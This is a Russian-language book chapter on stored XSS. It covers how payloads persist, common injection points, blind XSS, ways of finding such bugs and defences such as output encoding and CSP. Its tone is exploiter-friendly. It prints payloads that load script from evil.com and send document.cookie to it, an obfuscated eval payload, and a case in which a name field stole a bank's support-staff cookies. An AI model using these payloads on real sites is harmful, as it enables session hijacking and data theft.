Книга: «Все об уязвимости XSS». Глава 2: Типы XSS — Знай врага в лицо 👀. Stored XSS (Хранимый): Подарок, который продолжает дарить

Если Reflected XSS — это быстрая кража на улице, то Stored XSS — это тайник в стене сайта, который остаётся активным сутками, месяцами, а иногда даже годами, пока не сработает для кого-то важного. Хранимый XSS — это тот редкий случай, когда твоя атака превращается в массовый инструмент для захвата, шпионажа и тотального уничтожения пользовательских данных. В этом разделе разберём, почему она — самая опасная и желанная находка для любого эксплойтера.

Суть Stored XSS — в долговечности

Хранимый (persistent, stored) XSS появляется, когда вредоносный payload сохраняется на сервере: в базе данных, лог-файле, кэше, и в дальнейшем раскрывается для любого пользователя, который зайдёт на заражённую страницу или воспользуется функцией, отражающей этот ввод.

• Ты вставляешь скрипт в форму комментария, форума, профиля, чата, поля “ФИО” или любом ином месте, которое сохраняет твои данные.

• Сайт сохраняет это в базу, не проводит экранирования на этапе вывода.

• Любой, кто просматривает данные (страницу комментариев, профилей, чатов и пр.), получает твой JS в браузере.

Чем больше функциональности на сайте, тем выше шансы на жизнь payload’а. Stored XSS может стать частью атаки на пользователей, админов, службы поддержки, а иногда и обходить внутренние периметры: payload живёт в базе, может отображаться по почте, в системе анализа, а иногда даже оказываться внутри внутренних админок по логам.

Жизненный цикл атаки

1. Инъекция: атакующий находит форму или точку ввода, через которую можно сохранить данные: оставляет комментарий, пишет сообщение, меняет описание профиля.

2. Сохранение: данные попадают в базу или другое хранилище (лог, кэш, почтовый репорт).

3. Отражение: сайт выводит эти данные в ответ на запрос (на странице, письме, панели управления).

4. Выполнение: браузер любого пользователя, который загрузил заражённую страницу, выполняет JavaScript.

В отличие от отражённого XSS, где жертва должна перейти по отдельной ссылке, stored может работать на всех без исключения: каждый, кто зашёл куда не следует — попался.

Классические точки входа

• Комментарии и блоги: самая очевидная точка — форма “Оставить отзыв/комментарий”.

• Форумы, чаты, private messages: payload может прожить в переписке и зацепить даже приватную аудиторию.

• Поля профиля: имя, фамилия, “о себе”, аватар, статус — всё это часто отображается в публичном пространстве.

• Системы тикетов и обратной связи: заявки сохраняются и могут быть просмотрены администратором или саппортом, зачастую в отдельной админ-панели.

• Гостевые книги, доски объявлений, онлайн-магазины: описание товара, обратная связь, заявки на заказ — классика.

Эксплойтерский бонус: иногда можно сохранить payload в несколько экземпляров (например, апострофы, “сломанную” разметку), чтобы обойти фильтры или сработать в разных браузерных контекстах.

Payload’ы для stored XSS

Самые рабочие — простые скрипты (alert, fetch, document.cookie). Но для массовых атак используются payload’ы, которые запускают сбор данных или связывают жертву с управляющим сервером:

<script src="https://evil.com/payload.js"></script>

Или:

<img src=x onerror="fetch('https://evil.com/log?c='+document.cookie)">

Часто используются обфусцированные варианты:

<svg/onload=eval(atob('YWxlcnQoJ1hTUycp'))>

Blind XSS — особый зверь

Stored XSS может быть “слепым”: когда твой payload попадает не на публичную страницу, а в интерфейс администратора (через лог, внутреннюю панель тикетов, отчёты). Ты не видишь, когда, где и кто выполнит JavaScript, но при срабатывании получаешь доступ даже к бэкенду, обходя внешние фильтры и MFA. Для этого есть специальные сервисы — XSSHunter, PayloadsAllTheThings, которые автоматически ловят жертву, если payload сработал.

Мощность атаки: мультипликация урона

Stored XSS — это всегда о масштабе:

• Один комментарий — десятки тысяч пользователей попались.

• Один тикет поддержки — скомпрометированы все админы, саппорт, внутренние сервисы.

• Payload может жить годами — даже если ты месяц назад вставил скрипт, и он лежит “мертвым”, новый баг в фронте или изменение логики может его воскресить.

Особенно опасно, если stored XSS попадает на страницы с привилегированными ролями:

• Админки

• Службы поддержки

• HR/бухгалтерия

• Корпоративный интранет

Если у admin-пользователя сработал твоё JS — ты получаешь полный контроль, обходишь MFA, внедряешь дальнейшие payload’ы.

Как найти stored XSS

Чеклист прост, но требует терпения:

1. Пробуй оставить payload в каждом поле, которое сохраняется на сервере.

2. “Медленные” фичи — сообщения, тикеты, отзывы, чаты — самые тяжёлые для теста, но приносят самый большой профит.

3. Автоматизируй injection: используй Burp Suite, OWASP ZAP, кастомные сканеры.

4. Применяй специфичные для контекста payload’ы: атрибуты, event handlers, обфусцированные варианты.

5. Проверь страницу вывода (просмотра), почту, push-уведомления, внутренние панели — иногда результат будет только через сутки, неделю, месяц.

Как защищаться

Stored XSS лечится так же, как и отражённый, но требует особого внимания к процессу сохранения и вывода данных:

• Output Encoding — экранируй всё, что выводишь: htmlspecialchars, escape, sanitization.

• Sanitization libraries — DOMPurify (для JS), OWASP ESAPI.

• Content Security Policy — руби все inline скрипты, запрети загрузку посторонних JS.

• Валидация — проверяй формат данных на этапе приёма и перед выводом.

• HTTPOnly для cookie — не дай эксплойтеру украсть сессии.

• Регулярные security audit — ищи потенциальные места сохранения пользовательского ввода.

Автоматизация поиска

Быстрый способ — настроить скрипты-боты, которые оставляют payload’ы в комментариях, форумах, личных сообщениях, дефолтных полях профиля. Так можно “засеять” сайт и ждать массового срабатывания. Используй инструменты:

• Burp Intruder — для массовых инъекций

• XSSHunter — ловит Blind XSS (срабатывания в админках)

• DAST/SAST сканеры — интеграция в pipeline для обнаружения уязвимостей до выхода в продакшн

Кейс из жизни

Один из моих любимых багов — stored XSS в “поле ФИО” в системе обратной связи банка. Payload был прост:

`Антон<script src="https://evil.me/k.js"></script>Иванов`

Он жил в системе месяц, а потом его увидел саппорт в внутренней панели — сработал JS, отправил cookie, через них удалось залогиниться в admin-tickets и получить доступ к переписке с клиентами.

Админ потом неделю искал, откуда пришло зло — а оно просто жило в базе, на поверхности, ждали своего часа.

Итоги

Stored XSS — это не просто уязвимость, это целая эпоха атак: долговечная, масштабная, зачастую слепая и очень опасная. Как только твой payload сохранился в базе, сайт становится минным полем, пока последняя копия не вычищена с корнями. Это не одноразовый взлом — это атака, которая продолжает работать, пока живёт хотя бы одна жертва. Подарок для любого атакующего и головная боль для любого админа.

А дальше — разбор DOM-based XSS, самой хитрой и внезапной разновидности скриптового ада. Готовься, там ещё интереснее.

43 views·3 shares